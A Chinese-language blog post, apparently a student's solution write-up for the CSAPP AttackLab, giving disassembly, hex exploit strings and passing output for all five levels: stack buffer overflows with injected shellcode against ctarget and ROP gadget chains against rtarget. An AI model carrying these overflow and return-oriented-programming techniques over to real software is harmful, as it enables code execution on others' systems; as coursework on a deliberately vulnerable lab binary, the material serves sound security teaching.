赞
踩
AttackLab是CSAPP的第三个Lab,主要考察的是对于栈、返回机制的理解,和非常微不足道的汇编编写能力。
AttackLab做起来大概需要一天半,主要是一开始有点看不懂题目的意思,理解了之后倒是好说。
CTarget确实比Rtarget要好攻击很多,这也确实印证了栈随机化和栈内不可执行所带来的保护能力。
这个部分所需要攻击的程序ctarget所具有的特点是栈位置固定,即使堆栈位置从一次运行到下一次运行保持一致,因此可以将堆栈上的数据视为可执行代码。
因此,利用Gets函数对栈进行覆盖,就可以轻易地注入代码。
Level1要求我们执行touch1函数,甚至不需要注入代码。
直接查看test、getbuf和touch1的汇编。
0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff callq 4017a8 <getbuf> 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 retq 401991: 90 nop 401992: 90 nop 401993: 90 nop 401994: 90 nop 401995: 90 nop 401996: 90 nop 401997: 90 nop 401998: 90 nop 401999: 90 nop 40199a: 90 nop 40199b: 90 nop 40199c: 90 nop 40199d: 90 nop 40199e: 90 nop 40199f: 90 nop 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
从中可以看到,从test->getbuf的ret之前,一共分配了56个字节的栈空间,其中getbuf申请了40个字节,而4017bc所申请返回的地址为401978,这个地址被保存在41-48个字节之中,即栈内 %rsp + 40 - %rsp + 47之中,因此我们必须利用Getf覆写这个内存,从而使得4017bc返回我们所希望执行的代码的位置。
touch1的地址为4017c0,因为小端法,地位低地址,所以应该按照c0 17 40 00 00 00 00 00进行填写。那么应该注入的字符串就很简单了,利用hex2raw,我们应该注入的字符串的hex表示应为(前40字节无所谓):
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 <-覆写返回地址
通过Level1
usr@ub2004:~/csapplab/attacklab/target1$ ./hex2raw < c1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
Level2要求我们将cookie作为参数,执行touch2函数。
相比于第一题单纯的调用touch1,这一题关键在于传递cookie,这里的cookie是作为unsigned int进行传递,所以还好。
首先还是来关注touch2的地址,因为需要类似Level1,之后必然需要调用这个地址。
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
好的,现在记住touch2的地址为4017ec。
我们开始思考所需要注入的代码,有以下两个思路。
利用callq调用touch2,那么思路就很简单。
利用gcc和objdump得到所需要的具体汇编:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi #cookie作为参数
7: 68 ec 17 40 00 pushq $0x4017ec #touch2的地址
c: ff 14 24 callq *(%rsp) #调用touch2
f: c3 retq
接下来我们利用gdb,获得getbuf的栈顶指针,通过查看%rsp可以知道,栈顶地址为0x5561dc78,也是覆写retq返回地址所需要的字符串(注意小端法)。
那么具体的字符串如下,需要注意的是代码是从上到下执行的(地址低->高):
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 ff 14 24 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
因为pdf不建议使用callq,实际上也可以利用retq来传递控制。
汇编如下:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
字符串如下:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 DC 61 55 00 00 00 00
注入,成功通过。
usr@ub2004:~/csapplab/attacklab/target1$ ./hex2raw < c2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Level3和Level2唯一的不同在于,所传递的不再是一个unsigned int,而是一个指针,这意味着无法使用常数mov %rdi作为参数,必须将cookie存入栈中,并且设置%rdi为地址。
有以下两个细节需要注意:
注意以上细节后,我们还是查看汇编,得到touch3的地址为4018fa。
理清楚思路后,我们应该明白,这次一共需要注入至少57个字节,即代码+getbuf栈内空余的40个字节 + 返回地址的8个字节 + cookie的9个字节。
那么cookie所在的地址应为寄存器%rsp + 48,即0x5561dca8。
那么代码也类似Level2,有callq和retq两种控制转移思路。
#callq
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: ff 14 24 callq *(%rsp)
f: c3 retq
#retq
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
相对应的字符串分别为
#callq 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 ff 14 24 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 <-cookie的字符串 00 #retq 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 <-cookie的字符串 00
注入,通过。
usr@ub2004:~/csapplab/attacklab/target1$ ./hex2raw < c3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
这个部分所需要攻击的程序rtarget比ctarget顽强很多,因为采用了两种技术来抵抗攻击
所以,ROP必须利用已有的可执行程序来执行任务。具体来说,就是通过指令的字节序列,通过指定不同的起始位置,从而歪曲指令本来的意义,从而执行我们所需要的指令。
Level4要求我们对rtarget再做一次Level2所做的事,调用touch2。
由于无法直接指定执行的代码,所以我们只能从已有的farm区域来找自己所需要的部分。
0000000000401994 <start_farm>: 401994: b8 01 00 00 00 mov $0x1,%eax 401999: c3 retq 000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 retq 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 retq 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 retq 00000000004019d0 <mid_farm>: 4019d0: b8 01 00 00 00 mov $0x1,%eax 4019d5: c3 retq
我们注意到4019ca: b8 29 58 90 c3,并且从40199cc开始读,即为58 90 c3,其中58可以被视为popq %rax,90被视为nop,c3为retq,那么我们就可以将cookie存在栈中,利用popq保存到%rax之中。,并且由于popq和retq,从而程序会接下来执行原先的%rsp + 16的位置所保存的地址,我们就可以在%rsp+8 - %rsp+15之间保存cookie
接下来在4019a0: 8d 87 48 89 c7 c3中,从4019a2开始读,即为48 89 c7 c3,对应为movq %rax, %rdi 与 retq,从而将cookie从%rax转移到了所需的%rdi,并且执行%rsp+8所指向的程序,就可以将这个位置设置为touch2。具体的字符串如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 <- popq %rax + retq的程序地址
fa 97 b9 59 00 00 00 00 <- cookie
a2 19 40 00 00 00 00 00 <- movq %rax,%rdi + retq的程序地址
ec 17 40 00 00 00 00 00 <- touch2的程序地址
通过。
usr@ub2004:~/csapplab/attacklab/target1$ ./hex2raw < r1.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Level5要求我们对rtarget再做一次Level3所做的事,调用touch3。
此时单纯使用popq和movq是不够了,因此必须使用farm中仅有一个可用的lea指令4019d6: lea (%rdi,%rsi,1),%rax。
0000000000401994 <start_farm>: 401994: b8 01 00 00 00 mov $0x1,%eax 401999: c3 retq 000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 retq 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 retq 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 retq 00000000004019d0 <mid_farm>: 4019d0: b8 01 00 00 00 mov $0x1,%eax 4019d5: c3 retq 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq 00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 retq 00000000004019e1 <setval_296>: 4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi) 4019e7: c3 retq 00000000004019e8 <addval_113>: 4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax 4019ee: c3 retq 00000000004019ef <addval_490>: 4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax 4019f5: c3 retq 00000000004019f6 <getval_226>: 4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax 4019fb: c3 retq 00000000004019fc <setval_384>: 4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi) 401a02: c3 retq 0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 retq 0000000000401a0a <setval_276>: 401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi) 401a10: c3 retq 0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 retq 0000000000401a18 <getval_345>: 401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax 401a1d: c3 retq 0000000000401a1e <addval_479>: 401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax 401a24: c3 retq 0000000000401a25 <addval_187>: 401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax 401a2b: c3 retq 0000000000401a2c <setval_248>: 401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi) 401a32: c3 retq 0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 retq 0000000000401a39 <addval_110>: 401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax 401a3f: c3 retq 0000000000401a40 <addval_487>: 401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax 401a46: c3 retq 0000000000401a47 <addval_201>: 401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax 401a4d: c3 retq 0000000000401a4e <getval_272>: 401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax 401a53: c3 retq 0000000000401a54 <getval_155>: 401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax 401a59: c3 retq 0000000000401a5a <setval_299>: 401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi) 401a60: c3 retq 0000000000401a61 <addval_404>: 401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax 401a67: c3 retq 0000000000401a68 <getval_311>: 401a68: b8 89 d1 08 db mov $0xdb08d189,%eax 401a6d: c3 retq 0000000000401a6e <setval_167>: 401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi) 401a74: c3 retq 0000000000401a75 <setval_328>: 401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi) 401a7b: c3 retq 0000000000401a7c <setval_450>: 401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi) 401a82: c3 retq 0000000000401a83 <addval_358>: 401a83: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax 401a89: c3 retq 0000000000401a8a <addval_124>: 401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax 401a90: c3 retq 0000000000401a91 <getval_169>: 401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax 401a96: c3 retq 0000000000401a97 <setval_181>: 401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi) 401a9d: c3 retq 0000000000401a9e <addval_184>: 401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax 401aa4: c3 retq 0000000000401aa5 <getval_472>: 401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax 401aaa: c3 retq 0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 retq 0000000000401ab2 <end_farm>: 401ab2: b8 01 00 00 00 mov $0x1,%eax 401ab7: c3 retq 401ab8: 90 nop 401ab9: 90 nop 401aba: 90 nop 401abb: 90 nop 401abc: 90 nop 401abd: 90 nop 401abe: 90 nop 401abf: 90 nop
从farm中我们可以获得以下重要指令,与其对应的地址:
由上述指令我们做到:
因此,理清楚了思路后,字符串也就不难写了。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 <-popq %rax + retq 20 00 00 00 00 00 00 00 <-32 offset 42 1a 40 00 00 00 00 00 <-movd %eax,%edx + nop + retq 34 1a 40 00 00 00 00 00 <-movd %edx,%ecx + nop + retq 13 1a 40 00 00 00 00 00 <-movd %ecx,%esi + nop + nop + retq 06 1a 40 00 00 00 00 00 <-movq %rsp,%rax + retq a2 19 40 00 00 00 00 00 <-movq %rax,%rdi + retq d6 19 40 00 00 00 00 00 <-lea (%rdi,%rsi,1),%rax + retq a2 19 40 00 00 00 00 00 <-movq %rax,%rdi + retq fa 18 40 00 00 00 00 00 <-touch3 35 39 62 39 39 37 66 61 <-cookie 00 <-'\0'
通过。
usr@ub2004:~/csapplab/attacklab/target1$ ./hex2raw < r2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
想说的貌似都在BombLab里说了,只能鼓励自己继续读第4章了。
——2023.4.6
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。